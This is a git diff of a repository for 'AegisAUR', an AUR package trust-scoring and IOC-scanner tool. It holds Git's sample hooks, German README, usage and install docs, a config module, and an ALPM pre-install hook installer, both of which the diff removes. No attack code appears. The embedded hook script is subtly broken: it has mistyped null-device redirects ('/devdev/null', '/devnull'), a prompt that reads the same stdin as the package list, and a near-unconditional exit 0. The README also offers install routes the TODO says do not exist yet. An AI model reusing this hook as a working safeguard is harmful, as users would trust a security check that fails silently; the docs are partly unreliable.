git am -3 "$file" || return
|
||||
# TODO: Replace with appropriate checks for this patch
|
||||
# (e.g. checkpatch.pl).
|
||||
true
|
||||
}
|
||||
|
||||
validate_series () {
|
||||
# TODO: Replace with appropriate checks for the whole series
|
||||
# (e.g. quick build, coding style checks, etc.).
|
||||
true
|
||||
}
|
||||
|
||||
# main -------------------------------------------------------------------------
|
||||
|
||||
if test "$GIT_SENDEMAIL_FILE_COUNTER" = 1
|
||||
then
|
||||
remote=$(git config --default origin --get sendemail.validateRemote) &&
|
||||
ref=$(git config --default HEAD --get sendemail.validateRemoteRef) &&
|
||||
worktree=$(mktemp --tmpdir -d sendemail-validate.XXXXXXX) &&
|
||||
git worktree add -fd --checkout "$worktree" "refs/remotes/$remote/$ref" &&
|
||||
git config --replace-all sendemail.validateWorktree "$worktree"
|
||||
else
|
||||
worktree=$(git config --get sendemail.validateWorktree)
|
||||
fi || {
|
||||
echo "sendemail-validate: error: failed to prepare worktree" >&2
|
||||
exit 1
|
||||
}
|
||||
|
||||
unset GIT_DIR GIT_WORK_TREE
|
||||
cd "$worktree" &&
|
||||
|
||||
if grep -q "^diff --git " "$1"
|
||||
then
|
||||
validate_patch "$1"
|
||||
else
|
||||
validate_cover_letter "$1"
|
||||
fi &&
|
||||
|
||||
if test "$GIT_SENDEMAIL_FILE_COUNTER" = "$GIT_SENDEMAIL_FILE_TOTAL"
|
||||
then
|
||||
git config --unset-all sendemail.validateWorktree &&
|
||||
trap 'git worktree remove -ff "$worktree"' EXIT &&
|
||||
validate_series
|
||||
fi
|
||||
Executable
+128
@@ -0,0 +1,128 @@
|
||||
#!/bin/sh
|
||||
#
|
||||
# An example hook script to block unannotated tags from entering.
|
||||
# Called by "git receive-pack" with arguments: refname sha1-old sha1-new
|
||||
#
|
||||
# To enable this hook, rename this file to "update".
|
||||
#
|
||||
# Config
|
||||
# ------
|
||||
# hooks.allowunannotated
|
||||
# This boolean sets whether unannotated tags will be allowed into the
|
||||
# repository. By default they won't be.
|
||||
# hooks.allowdeletetag
|
||||
# This boolean sets whether deleting tags will be allowed in the
|
||||
# repository. By default they won't be.
|
||||
# hooks.allowmodifytag
|
||||
# This boolean sets whether a tag may be modified after creation. By default
|
||||
# it won't be.
|
||||
# hooks.allowdeletebranch
|
||||
# This boolean sets whether deleting branches will be allowed in the
|
||||
# repository. By default they won't be.
|
||||
# hooks.denycreatebranch
|
||||
# This boolean sets whether remotely creating branches will be denied
|
||||
# in the repository. By default this is allowed.
|
||||
#
|
||||
|
||||
# --- Command line
|
||||
refname="$1"
|
||||
oldrev="$2"
|
||||
newrev="$3"
|
||||
|
||||
# --- Safety check
|
||||
if [ -z "$GIT_DIR" ]; then
|
||||
echo "Don't run this script from the command line." >&2
|
||||
echo " (if you want, you could supply GIT_DIR then run" >&2
|
||||
echo " $0 <ref> <oldrev> <newrev>)" >&2
|
||||
exit 1
|
||||
fi
|
||||
|
||||
if [ -z "$refname" -o -z "$oldrev" -o -z "$newrev" ]; then
|
||||
echo "usage: $0 <ref> <oldrev> <newrev>" >&2
|
||||
exit 1
|
||||
fi
|
||||
|
||||
# --- Config
|
||||
allowunannotated=$(git config --type=bool hooks.allowunannotated)
|
||||
allowdeletebranch=$(git config --type=bool hooks.allowdeletebranch)
|
||||
denycreatebranch=$(git config --type=bool hooks.denycreatebranch)
|
||||
allowdeletetag=$(git config --type=bool hooks.allowdeletetag)
|
||||
allowmodifytag=$(git config --type=bool hooks.allowmodifytag)
|
||||
|
||||
# check for no description
|
||||
projectdesc=$(sed -e '1q' "$GIT_DIR/description")
|
||||
case "$projectdesc" in
|
||||
"Unnamed repository"* | "")
|
||||
echo "*** Project description file hasn't been set" >&2
|
||||
exit 1
|
||||
;;
|
||||
esac
|
||||
|
||||
# --- Check types
|
||||
# if $newrev is 0000...0000, it's a commit to delete a ref.
|
||||
zero=$(git hash-object --stdin </dev/null | tr '[0-9a-f]' '0')
|
||||
if [ "$newrev" = "$zero" ]; then
|
||||
newrev_type=delete
|
||||
else
|
||||
newrev_type=$(git cat-file -t $newrev)
|
||||
fi
|
||||
|
||||
case "$refname","$newrev_type" in
|
||||
refs/tags/*,commit)
|
||||
# un-annotated tag
|
||||
short_refname=${refname##refs/tags/}
|
||||
if [ "$allowunannotated" != "true" ]; then
|
||||
echo "*** The un-annotated tag, $short_refname, is not allowed in this repository" >&2
|
||||
echo "*** Use 'git tag [ -a | -s ]' for tags you want to propagate." >&2
|
||||
exit 1
|
||||
fi
|
||||
;;
|
||||
refs/tags/*,delete)
|
||||
# delete tag
|
||||
if [ "$allowdeletetag" != "true" ]; then
|
||||
echo "*** Deleting a tag is not allowed in this repository" >&2
|
||||
exit 1
|
||||
fi
|
||||
;;
|
||||
refs/tags/*,tag)
|
||||
# annotated tag
|
||||
if [ "$allowmodifytag" != "true" ] && git rev-parse $refname > /dev/null 2>&1
|
||||
then
|
||||
echo "*** Tag '$refname' already exists." >&2
|
||||
echo "*** Modifying a tag is not allowed in this repository." >&2
|
||||
exit 1
|
||||
fi
|
||||
;;
|
||||
refs/heads/*,commit)
|
||||
# branch
|
||||
if [ "$oldrev" = "$zero" -a "$denycreatebranch" = "true" ]; then
|
||||
echo "*** Creating a branch is not allowed in this repository" >&2
|
||||
exit 1
|
||||
fi
|
||||
;;
|
||||
refs/heads/*,delete)
|
||||
# delete branch
|
||||
if [ "$allowdeletebranch" != "true" ]; then
|
||||
echo "*** Deleting a branch is not allowed in this repository" >&2
|
||||
exit 1
|
||||
fi
|
||||
;;
|
||||
refs/remotes/*,commit)
|
||||
# tracking branch
|
||||
;;
|
||||
refs/remotes/*,delete)
|
||||
# delete tracking branch
|
||||
if [ "$allowdeletebranch" != "true" ]; then
|
||||
echo "*** Deleting a tracking branch is not allowed in this repository" >&2
|
||||
exit 1
|
||||
fi
|
||||
;;
|
||||
*)
|
||||
# Anything else (is there anything else?)
|
||||
echo "*** Update hook: unknown type of update to ref $refname of type $newrev_type" >&2
|
||||
exit 1
|
||||
;;
|
||||
esac
|
||||
|
||||
# --- Finished
|
||||
exit 0
|
||||
@@ -0,0 +1 @@
|
||||
* -export-subst -export-ignore
|
||||
@@ -0,0 +1,6 @@
|
||||
# git ls-files --others --exclude-from=.git/info/exclude
|
||||
# Lines that start with '#' are comments.
|
||||
# For a project mostly in C, the following would be a good set of
|
||||
# exclude patterns (uncomment them if you want to use them):
|
||||
# *.[oa]
|
||||
# *~
|
||||
Binary file not shown.
Binary file not shown.
Binary file not shown.
@@ -0,0 +1,3 @@
|
||||
# pack-refs with: peeled fully-peeled sorted
|
||||
e765ceddfc8109abdc1990a813ed759a5ff2b7ee refs/heads/main
|
||||
afc5db8d76b6c747724769d4a266253822eceb55 refs/heads/master
|
||||
File diff suppressed because it is too large
Load Diff
Binary file not shown.
@@ -0,0 +1,16 @@
|
||||
# Generated by makepkg 7.1.0
|
||||
# using fakeroot version 1.37.2
|
||||
pkgname = aegisaur
|
||||
pkgbase = aegisaur
|
||||
xdata = pkgtype=pkg
|
||||
pkgver = 0.1.0-1
|
||||
pkgdesc = Trust-Scoring + IOC-Scanner für Arch Linux AUR-Pakete
|
||||
url = https://gitea.die-heimatlosen.eu/arch_agent/aegisaur
|
||||
builddate = 1781539210
|
||||
packager = Unknown Packager
|
||||
size = 5620877
|
||||
arch = x86_64
|
||||
license = MIT
|
||||
depend = pacman
|
||||
makedepend = rust
|
||||
makedepend = cargo
|
||||
Executable
BIN
Binary file not shown.
@@ -0,0 +1,84 @@
|
||||
# 📦 Installation Guide
|
||||
|
||||
## Schnellstart
|
||||
|
||||
```bash
|
||||
# Als AUR-Paket installieren (empfohlen)
|
||||
makepkg -si PKGBUILD
|
||||
|
||||
# Oder systemweit nach /usr/local/bin
|
||||
sudo cp target/release/aegisaur /usr/local/bin/
|
||||
sudo chmod +x /usr/local/bin/aegisaur
|
||||
|
||||
# Oder symbolischer Link
|
||||
sudo ln -s $(pwd)/target/release/aegisaur /usr/local/bin/aegisaur
|
||||
```
|
||||
|
||||
## Eigenes AUR-Repository
|
||||
|
||||
### Pfad auf Gitea
|
||||
```
|
||||
https://gitea.die-heimatlosen.eu/arch_agent/aegisaur
|
||||
```
|
||||
|
||||
### Installation (empfohlen)
|
||||
|
||||
```bash
|
||||
cd /home/arch_agent_system/.openclaw/workspace/aegisaur
|
||||
makepkg -si
|
||||
```
|
||||
|
||||
### Alternative: Git-Clone + Build
|
||||
|
||||
```bash
|
||||
git clone https://gitea.die-heimatlosen.eu/arch_agent/aegisaur.git
|
||||
cd aegisaur
|
||||
cargo build --release
|
||||
sudo cp target/release/aegisaur /usr/local/bin/
|
||||
sudo aegisaur install-hook
|
||||
```
|
||||
|
||||
### ⚠️ Pacman-Repo Hinweis
|
||||
|
||||
> Ein pacman-Remote (`[aegisaur]` in pacman.conf) braucht eine `.db` Datei, die Gitea nicht automatisch bereitstellt. Nutze stattdessen `makepkg` oder den Release-Download.
|
||||
|
||||
### Release-Download (Fallback)
|
||||
|
||||
```bash
|
||||
curl -LO https://gitea.die-heimatlosen.eu/arch_agent/aegisaur/releases/download/v0.1.0/aegisaur-0.1.0-x86_64.tar.gz
|
||||
tar xzf aegisaur-0.1.0-x86_64.tar.gz
|
||||
sudo install -Dm755 aegisaur /usr/bin/aegisaur
|
||||
```
|
||||
|
||||
## ALPM-Hook (systemweit)
|
||||
|
||||
```bash
|
||||
# Installiert Hook nach /usr/share/libalpm/hooks/
|
||||
sudo aegisaur install-hook
|
||||
|
||||
# Deinstalliert Hook
|
||||
sudo aegisaur remove-hook
|
||||
```
|
||||
|
||||
## Konfiguration
|
||||
|
||||
```bash
|
||||
# Erstellt ~/.config/aegisaur/config.toml
|
||||
aegisaur config
|
||||
|
||||
# Beispiel-Config kopieren
|
||||
cp /usr/share/aegisaur/config.example.toml ~/.config/aegisaur/config.toml
|
||||
```
|
||||
|
||||
## Pfad-Übersicht
|
||||
|
||||
| Komponente | Pfad |
|
||||
|------------|------|
|
||||
| Binary | `/usr/bin/aegisaur` |
|
||||
| ALPM-Hook | `/usr/share/libalpm/hooks/99-aegisaur.hook` |
|
||||
| Hook-Script | `/usr/share/libalpm/hooks/aegisaur-check.sh` |
|
||||
| Dokumentation | `/usr/share/doc/aegisaur/` |
|
||||
| Config | `~/.config/aegisaur/config.toml` |
|
||||
| Cache | `~/.cache/aegisaur/` |
|
||||
| Quellcode | `/home/arch_agent_system/.openclaw/workspace/aegisaur/` |
|
||||
| Gitea-Repo | `https://gitea.die-heimatlosen.eu/arch_agent/aegisaur` |
|
||||
@@ -0,0 +1,82 @@
|
||||
# AegisAUR 👻
|
||||
|
||||
Trust-Scoring + IOC-Scanner für Arch Linux AUR-Pakete.
|
||||
|
||||
Automatisierter Schutz gegen Supply-Chain-Angriffe wie **Atomic Arch**.
|
||||
|
||||
## Features
|
||||
|
||||
- 🔍 **Live IOC-Abfrage** - Holt aktuelle Threat-Intelligence von Community-Quellen
|
||||
- 🛡️ **Trust-Scoring** - Analysiert PKGBUILDs auf verdächtige Muster
|
||||
- ⚡ **ALPM-Hook** - Automatischer Pre-Install-Scan
|
||||
- 📊 **Detallierte Reports** - JSON-Output für Automatisierung
|
||||
- 🔴 **Kritische Alerts** - Sofortige Warnung bei IOC-Matches
|
||||
|
||||
## Installation
|
||||
|
||||
### Aus AUR
|
||||
|
||||
```bash
|
||||
yay -S aegisaur
|
||||
# oder
|
||||
paru -S aegisaur
|
||||
```
|
||||
|
||||
### Manuel
|
||||
|
||||
```bash
|
||||
cargo install aegisaur
|
||||
sudo aegisaur install-hook
|
||||
```
|
||||
|
||||
## Verwendung
|
||||
|
||||
### Einzelnes Paket scannen
|
||||
|
||||
```bash
|
||||
aegisaur scan paketname
|
||||
```
|
||||
|
||||
### Alle installierten AUR-Pakete scannen
|
||||
|
||||
```bash
|
||||
aegisaur scan-all
|
||||
```
|
||||
|
||||
### IOC-Check (wie `aurvulntest`)
|
||||
|
||||
```bash
|
||||
aegisaur check-ioc
|
||||
```
|
||||
|
||||
### ALPM-Hook installieren
|
||||
|
||||
```bash
|
||||
sudo aegisaur install-hook
|
||||
```
|
||||
|
||||
## IOC-Quellen
|
||||
|
||||
Alle Quellen sind **ohne Authentifizierung** erreichbar:
|
||||
|
||||
- [Atomic Arch Gist](https://gist.githubusercontent.com/Kidev/85756c3dcad3623ca5604a8135bafd14)
|
||||
- [AUR Community Blocklist](https://github.com/Kidev/AUR-Blocklist)
|
||||
- [Arch Security Advisories](https://security.archlinux.org)
|
||||
|
||||
## Trust-Scoring Kategorien
|
||||
|
||||
| Kategorie | Gewichtung | Beschreibung |
|
||||
|-----------|-----------|--------------|
|
||||
| Shell-Script | 40% | Analyse von PKGBUILD als Shell-Script |
|
||||
| Source-URL | 20% | Verifizierung der Herkunft |
|
||||
| Checksums | 20% | Qualität der Prüfsummen |
|
||||
| Maintainer | 20% | Heuristiken zum Maintainer |
|
||||
|
||||
## Lizenz
|
||||
|
||||
MIT - © 2026 Quasi & Thuumate 👻
|
||||
|
||||
## Links
|
||||
|
||||
- Gitea: https://gitea.die-heimatlosen.eu/arch_agent/aegisaur
|
||||
- Issues: https://gitea.die-heimatlosen.eu/arch_agent/aegisaur/issues
|
||||
@@ -0,0 +1,36 @@
|
||||
# AegisAUR - TODO & Roadmap
|
||||
|
||||
## ✅ Abgeschlossen (v0.1.0)
|
||||
|
||||
- [x] Projekt-Scaffolding (Rust/Cargo)
|
||||
- [x] IOC-Fetcher Modul (live Abfrage, keine Auth)
|
||||
- [x] Trust-Scoring Engine (12 Heuristiken)
|
||||
- [x] Package Scanner (Orchestration)
|
||||
- [x] ALPM-Hook Integration
|
||||
- [x] CLI-Interface (scan, check-ioc, allow, deny, config, install-hook)
|
||||
- [x] Gitea-Repo erstellt & gepusht
|
||||
|
||||
## 🔨 In Arbeit (v0.1.1)
|
||||
|
||||
- [ ] `cargo build` testen und fixen
|
||||
- [ ] Unit-Tests ergänzen
|
||||
- [ ] PKGBUILD für AUR-Release erstellen
|
||||
- [ ] Desktop-Notifications (notify-send Integration)
|
||||
- [ ] Systemd-Timer für regelmäßige Scans
|
||||
|
||||
## 🗓️ Geplant (v0.2.0)
|
||||
|
||||
- [ ] GUI/Web-Dashboard (optional)
|
||||
- [ ] Integration mit `aurutils`/`paru`/`yay` als Wrapper
|
||||
- [ ] Historical Tracking (Score-Änderungen über Zeit)
|
||||
- [ ] Community-Whitelist Sharing
|
||||
- [ ] AUR Vote/Power Factor in Scoring
|
||||
|
||||
## 🐛 Bekannte Bugs
|
||||
|
||||
1. **Gitea API Cache:** Einige Dateien erscheinen nicht in der API-Antwort, sind aber im Git Tree (UI-Bug, kein Datenverlust)
|
||||
2. **Docker-Instabilität:** Gitea-Server hatte Restart-Probleme
|
||||
|
||||
## 📝 MEMORY.md Update
|
||||
|
||||
Siehe MEMORY.md - Eintrag vom [2026-06-15]
|
||||
@@ -0,0 +1,129 @@
|
||||
# 📖 AegisAUR Usage Guide
|
||||
|
||||
## Befehls-Übersicht
|
||||
|
||||
```bash
|
||||
# Einzelnes Paket scannen
|
||||
aegisaur scan <paketname> [--verbose]
|
||||
|
||||
# Alle AUR-Pakete scannen
|
||||
aegisaur scan-all [--verbose]
|
||||
|
||||
# IOC-Check (wie aurvulntest)
|
||||
aegisaur check-ioc [--list atomicarch|all]
|
||||
|
||||
# Whitelist-Verwaltung
|
||||
aegisaur allow <paketname>
|
||||
aegisaur deny <paketname>
|
||||
|
||||
# System-Konfiguration
|
||||
aegisaur config
|
||||
aegisaur cache
|
||||
|
||||
# ALPM-Hook (root nötig)
|
||||
sudo aegisaur install-hook
|
||||
sudo aegisaur remove-hook
|
||||
```
|
||||
|
||||
## Beispiel-Workflows
|
||||
|
||||
### Vor Installation eines AUR-Pakets
|
||||
```bash
|
||||
# 1. Scannen
|
||||
aegisaur scan neues-paket
|
||||
|
||||
# 2. Wenn IOC erkannt → NICHT installieren
|
||||
# 3. Wenn verdächtig → PKGBUILD prüfen
|
||||
# 4. Wenn OK → installieren (mit Hook automatisch)
|
||||
|
||||
yay -S neues-paket # Hook scannt automatisch
|
||||
```
|
||||
|
||||
### Regelmäßige Checks
|
||||
```bash
|
||||
# Alle 48h (via cron/systemd)
|
||||
aegisaur check-ioc
|
||||
```
|
||||
|
||||
### Volle Systemprüfung
|
||||
```bash
|
||||
# Alle AUR-Pakete scannen + IOC-Listen checken
|
||||
aegisaur scan-all && aegisaur check-ioc
|
||||
```
|
||||
|
||||
## Exit Codes
|
||||
|
||||
| Code | Bedeutung |
|
||||
|------|-----------|
|
||||
| 0 | Erfolg |
|
||||
| 1 | Allgemeiner Fehler |
|
||||
| 2 | IOC erkannt / Kritisch |
|
||||
| 3 | Scan-Fehler |
|
||||
|
||||
## Konfiguration
|
||||
|
||||
```toml
|
||||
# ~/.config/aegisaur/config.toml
|
||||
[settings]
|
||||
auto_check_iocs = true
|
||||
auto_check_pkgbuild = true
|
||||
ioc_cache_ttl_minutes = 60
|
||||
warning_threshold = 60
|
||||
critical_threshold = 30
|
||||
block_install_on_critical = false
|
||||
block_install_on_ioc = true
|
||||
notify_desktop = true
|
||||
|
||||
[sources.atomic_arch]
|
||||
name = "Atomic Arch Gist"
|
||||
url = "https://gist.githubusercontent.com/Kidev/85756c3dcad3623ca5604a8135bafd14/raw"
|
||||
enabled = true
|
||||
|
||||
[sources.community]
|
||||
name = "AUR Community Blocklist"
|
||||
url = "https://raw.githubusercontent.com/Kidev/AUR-Blocklist/main/blocklist.txt"
|
||||
enabled = true
|
||||
```
|
||||
|
||||
## Wichtige Pfade
|
||||
|
||||
| Zweck | Lokaler Pfad | Gitea URL |
|
||||
|-------|-------------|-----------|
|
||||
| Quellcode | `/home/arch_agent_system/.openclaw/workspace/aegisaur/` | `https://gitea.die-heimatlosen.eu/arch_agent/aegisaur` |
|
||||
| Binary (Release) | `target/release/aegisaur` | Releases Tab |
|
||||
| PKGBUILD | `./PKGBUILD` | Raw view |
|
||||
| Dokumentation | `./README.md`, `./USAGE.md` | Wiki/Raw |
|
||||
| Issues/Feedback | - | `https://gitea.die-heimatlosen.eu/arch_agent/aegisaur/issues` |
|
||||
|
||||
## Troubleshooting
|
||||
|
||||
### Hook funktioniert nicht
|
||||
```bash
|
||||
# Rechte prüfen
|
||||
ls -la /usr/share/libalpm/hooks/aegisaur*
|
||||
|
||||
# Manuell ausführen
|
||||
sudo bash /usr/share/libalpm/hooks/aegisaur-check.sh
|
||||
```
|
||||
|
||||
### Cache-Probleme
|
||||
```bash
|
||||
# Cache leeren
|
||||
rm -rf ~/.cache/aegisaur/
|
||||
|
||||
# Neu befüllen
|
||||
aegisaur check-ioc
|
||||
```
|
||||
|
||||
### Netzwerk-Fehler
|
||||
```bash
|
||||
# Proxy-Config prüfen
|
||||
env | grep -i proxy
|
||||
|
||||
# Test-Request
|
||||
curl -I https://gist.githubusercontent.com/Kidev/...
|
||||
```
|
||||
|
||||
---
|
||||
*Built with ❤️ (and some 👻 magic)*
|
||||
*Quasi & Thuumate — 2026*
|
||||
Submodule
+1
Submodule src/aegisaur added at afc5db8d76
-139
@@ -1,139 +0,0 @@
|
||||
use anyhow::{Context, Result};
|
||||
use serde::{Deserialize, Serialize};
|
||||
use std::collections::HashSet;
|
||||
use std::path::PathBuf;
|
||||
use tokio::fs;
|
||||
use tracing::info;
|
||||
|
||||
/// Konfiguration für AegisAUR
|
||||
#[derive(Debug, Clone, Serialize, Deserialize)]
|
||||
pub struct AegisConfig {
|
||||
pub config_path: PathBuf,
|
||||
pub cache_dir: PathBuf,
|
||||
pub data_dir: PathBuf,
|
||||
|
||||
// Scan-Settings
|
||||
pub auto_check_iocs: bool,
|
||||
pub auto_check_pkgbuild: bool,
|
||||
pub ioc_cache_ttl_minutes: u64,
|
||||
|
||||
// Thresholds
|
||||
pub warning_threshold: u32, // Score unter diesem Wert = Warnung
|
||||
pub critical_threshold: u32, // Score unter diesem Wert = Kritisch
|
||||
|
||||
// Verhalten
|
||||
pub block_install_on_critical: bool,
|
||||
pub block_install_on_ioc: bool,
|
||||
pub notify_desktop: bool,
|
||||
|
||||
// Quellen
|
||||
pub ioc_sources: Vec<IocSource>,
|
||||
|
||||
// Whitelist
|
||||
pub whitelisted_packages: HashSet<String>,
|
||||
}
|
||||
|
||||
#[derive(Debug, Clone, Serialize, Deserialize)]
|
||||
pub struct IocSource {
|
||||
pub name: String,
|
||||
pub url: String,
|
||||
pub source_type: IocSourceType,
|
||||
pub enabled: bool,
|
||||
}
|
||||
|
||||
#[derive(Debug, Clone, Serialize, Deserialize)]
|
||||
pub enum IocSourceType {
|
||||
Gist,
|
||||
JsonApi,
|
||||
TextList,
|
||||
GitHubRelease,
|
||||
}
|
||||
|
||||
impl Default for AegisConfig {
|
||||
fn default() -> Self {
|
||||
let base_dirs = directories::ProjectDirs::from("eu", "heimatlosen", "aegisaur")
|
||||
.expect("Konnte Projekt-Verzeichnisse nicht ermitteln");
|
||||
|
||||
let mut default_sources = vec![
|
||||
IocSource {
|
||||
name: "Atomic Arch Gist".to_string(),
|
||||
url: "https://gist.githubusercontent.com/Kidev/85756c3dcad3623ca5604a8135bafd14/raw".to_string(),
|
||||
source_type: IocSourceType::TextList,
|
||||
enabled: true,
|
||||
},
|
||||
IocSource {
|
||||
name: "AUR Community Blocklist".to_string(),
|
||||
url: "https://raw.githubusercontent.com/Kidev/AUR-Blocklist/main/blocklist.txt".to_string(),
|
||||
source_type: IocSourceType::TextList,
|
||||
enabled: true,
|
||||
},
|
||||
IocSource {
|
||||
name: "Arch Security Advisories".to_string(),
|
||||
url: "https://security.archlinux.org/advisories.json".to_string(),
|
||||
source_type: IocSourceType::JsonApi,
|
||||
enabled: true,
|
||||
},
|
||||
];
|
||||
|
||||
AegisConfig {
|
||||
config_path: base_dirs.config_local_dir().join("config.toml"),
|
||||
cache_dir: base_dirs.cache_dir().to_path_buf(),
|
||||
data_dir: base_dirs.data_dir().to_path_buf(),
|
||||
auto_check_iocs: true,
|
||||
auto_check_pkgbuild: true,
|
||||
ioc_cache_ttl_minutes: 60,
|
||||
warning_threshold: 60,
|
||||
critical_threshold: 30,
|
||||
block_install_on_critical: false,
|
||||
block_install_on_ioc: true,
|
||||
notify_desktop: true,
|
||||
ioc_sources: default_sources,
|
||||
whitelisted_packages: HashSet::new(),
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
impl AegisConfig {
|
||||
/// Lädt Konfiguration oder erstellt Default
|
||||
pub async fn load_or_default() -> Result<Self> {
|
||||
let config_path = Self::default().config_path;
|
||||
|
||||
if config_path.exists() {
|
||||
info!("Lade Konfiguration von: {}", config_path.display());
|
||||
let content = fs::read_to_string(&config_path).await?;
|
||||
let config: AegisConfig = toml::from_str(&content)?;
|
||||
Ok(config)
|
||||
} else {
|
||||
info!("Erstelle Standard-Konfiguration...");
|
||||
let config = AegisConfig::default();
|
||||
config.save().await?;
|
||||
Ok(config)
|
||||
}
|
||||
}
|
||||
|
||||
/// Speichert Konfiguration
|
||||
pub async fn save(&self) -> Result<()> {
|
||||
let config_dir = self.config_path.parent().unwrap();
|
||||
fs::create_dir_all(config_dir).await?;
|
||||
|
||||
let content = toml::to_string_pretty(self)?;
|
||||
fs::write(&self.config_path, content).await?;
|
||||
info!("Konfiguration gespeichert: {}", self.config_path.display());
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// Fügt Quelle hinzu
|
||||
pub fn add_source(&mut self, name: &str, url: &str, source_type: IocSourceType) {
|
||||
self.ioc_sources.push(IocSource {
|
||||
name: name.to_string(),
|
||||
url: url.to_string(),
|
||||
source_type,
|
||||
enabled: true,
|
||||
});
|
||||
}
|
||||
|
||||
/// Entfernt Quelle
|
||||
pub fn remove_source(&mut self, name: &str) {
|
||||
self.ioc_sources.retain(|s| s.name != name);
|
||||
}
|
||||
}
|
||||
-147
@@ -1,147 +0,0 @@
|
||||
use anyhow::{Context, Result};
|
||||
use std::io::Write;
|
||||
use std::path::Path;
|
||||
use tracing::{info, warn};
|
||||
|
||||
const ALPM_HOOK_PATH: &str = "/usr/share/libalpm/hooks/aegisaur-pre-install.hook";
|
||||
const HOOK_SCRIPT_PATH: &str = "/usr/share/libalpm/hooks/aegisaur-check.sh";
|
||||
|
||||
/// Installiert den ALPM-Hook für Pre-Install-Checks
|
||||
pub fn install_alpm_hook() -> Result<()> {
|
||||
// Hook-Definition
|
||||
let hook_content = r#"[Trigger]
|
||||
Operation = Install
|
||||
Operation = Upgrade
|
||||
Type = Package
|
||||
Target = *
|
||||
|
||||
[Action]
|
||||
Description = AegisAUR Security Scan
|
||||
When = PreTransaction
|
||||
Exec = /usr/share/libalpm/hooks/aegisaur-check.sh
|
||||
NeedsTargets
|
||||
AbortOnFail
|
||||
"#;
|
||||
|
||||
// Shell-Script, das aegisaur aufruft
|
||||
let script_content = r#"#!/bin/bash
|
||||
# AegisAUR Pre-Install Hook
|
||||
# Prüft Pakete vor der Installation
|
||||
|
||||
AUR_SCANNER="/usr/bin/aegisaur"
|
||||
TMPFILE=$(mktemp)
|
||||
|
||||
# Alle zu installierenden Pakete durch aegisaur prüfen
|
||||
while read -r package; do
|
||||
# Nur AUR-Pakete prüfen (Foreign packages)
|
||||
if pacman -Qi "$package" >/devdev/null 2>&1; then
|
||||
# Paket ist bereits installiert (Upgrade)
|
||||
continue
|
||||
fi
|
||||
|
||||
# Prüfe ob es ein AUR/Foreign Paket ist
|
||||
if pacman -Si "$package" >/dev/null 2>&1; then
|
||||
# Offizielles Repo-Paket, immer OK
|
||||
continue
|
||||
fi
|
||||
|
||||
# AUR Paket gefunden - scanne es
|
||||
if [[ -x "$AUR_SCANNER" ]]; then
|
||||
RESULT=$($AUR_SCANNER scan "$package" --json 2>/devnull)
|
||||
SCORE=$(echo "$RESULT" | grep -oP '"score":\s*\K\d+')
|
||||
STATUS=$(echo "$RESULT" | grep -oP '"status":\s*"\K[^"]+')
|
||||
|
||||
if [[ "$STATUS" == "IOCDetected" ]] || [[ "$STATUS" == "Dangerous" ]]; then
|
||||
echo ""
|
||||
echo "╔════════════════════════════════════════════════════════════════╗"
|
||||
echo "║ 🚨 AEGISAUR SECURITY ALERT 🚨 ║"
|
||||
echo "╚════════════════════════════════════════════════════════════════╝"
|
||||
echo ""
|
||||
echo "Paket: $package"
|
||||
echo "Status: $STATUS"
|
||||
echo "Score: $SCORE/100"
|
||||
echo ""
|
||||
echo "⚠️ DIESES PAKET IST ALS GEFÄHRLICH EINGESTUFT!"
|
||||
echo ""
|
||||
echo "Möchtest du die Installation abbrechen? (Ja/Nein)"
|
||||
read -r response
|
||||
if [[ "$response" =~ ^[Jj]([Aa]|$) ]]; then
|
||||
echo "Installation abgebrochen."
|
||||
rm -f "$TMPFILE"
|
||||
exit 1
|
||||
fi
|
||||
echo "WARNUNG: Installation wird fortgesetzt auf eigenes Risiko!"
|
||||
echo "$package ($STATUS - Score: $SCORE)" >> "$TMPFILE"
|
||||
elif [[ "$STATUS" == "Suspicious" ]] || [[ "$STATUS" == "Warning" ]]; then
|
||||
echo ""
|
||||
echo "⚠️ AegisAUR Warnung für $package: $STATUS (Score: $SCORE/100)"
|
||||
echo "$package ($STATUS - Score: $SCORE)" >> "$TMPFILE"
|
||||
fi
|
||||
fi
|
||||
done
|
||||
|
||||
# Zusammenfassung anzeigen falls Warnungen vorhanden
|
||||
if [[ -s "$TMPFILE" ]]; then
|
||||
echo ""
|
||||
echo "╔══════════════════════════════════════════════════════════════╗"
|
||||
echo "║ AegisAUR Scan Zusammenfassung ║"
|
||||
echo "╚══════════════════════════════════════════════════════════════╝"
|
||||
cat "$TMPFILE"
|
||||
echo ""
|
||||
fi
|
||||
|
||||
rm -f "$TMPFILE"
|
||||
exit 0
|
||||
"#;
|
||||
|
||||
// Hook-Datei schreiben
|
||||
info!("Schreibe ALPM Hook: {}", ALPM_HOOK_PATH);
|
||||
let mut hook_file = std::fs::File::create(ALPM_HOOK_PATH)
|
||||
.context("Konnte ALPM Hook nicht erstellen (Root-Rechte nötig)")?;
|
||||
hook_file.write_all(hook_content.as_bytes())?;
|
||||
|
||||
// Script schreiben
|
||||
info!("Schreibe Hook-Script: {}", HOOK_SCRIPT_PATH);
|
||||
let mut script_file = std::fs::File::create(HOOK_SCRIPT_PATH)
|
||||
.context("Konnte Hook-Script nicht erstellen")?;
|
||||
script_file.write_all(script_content.as_bytes())?;
|
||||
|
||||
// Script executable machen
|
||||
#[cfg(unix)]
|
||||
{
|
||||
use std::os::unix::fs::PermissionsExt;
|
||||
let mut perms = std::fs::metadata(HOOK_SCRIPT_PATH)?.permissions();
|
||||
perms.set_mode(0o755);
|
||||
std::fs::set_permissions(HOOK_SCRIPT_PATH, perms)?;
|
||||
}
|
||||
|
||||
info!("ALPM Hook erfolgreich installiert");
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// Entfernt den ALPM-Hook
|
||||
pub fn remove_alpm_hook() -> Result<()> {
|
||||
info!("Entferne ALPM Hook...");
|
||||
|
||||
if Path::new(ALPM_HOOK_PATH).exists() {
|
||||
std::fs::remove_file(ALPM_HOOK_PATH)?;
|
||||
info!("Hook-Datei entfernt: {}", ALPM_HOOK_PATH);
|
||||
} else {
|
||||
warn!("Hook-Datei nicht gefunden: {}", ALPM_HOOK_PATH);
|
||||
}
|
||||
|
||||
if Path::new(HOOK_SCRIPT_PATH).exists() {
|
||||
std::fs::remove_file(HOOK_SCRIPT_PATH)?;
|
||||
info!("Script entfernt: {}", HOOK_SCRIPT_PATH);
|
||||
} else {
|
||||
warn!("Script nicht gefunden: {}", HOOK_SCRIPT_PATH);
|
||||
}
|
||||
|
||||
info!("ALPM Hook erfolgreich entfernt");
|
||||
Ok(())
|
||||
}
|
||||
|
||||
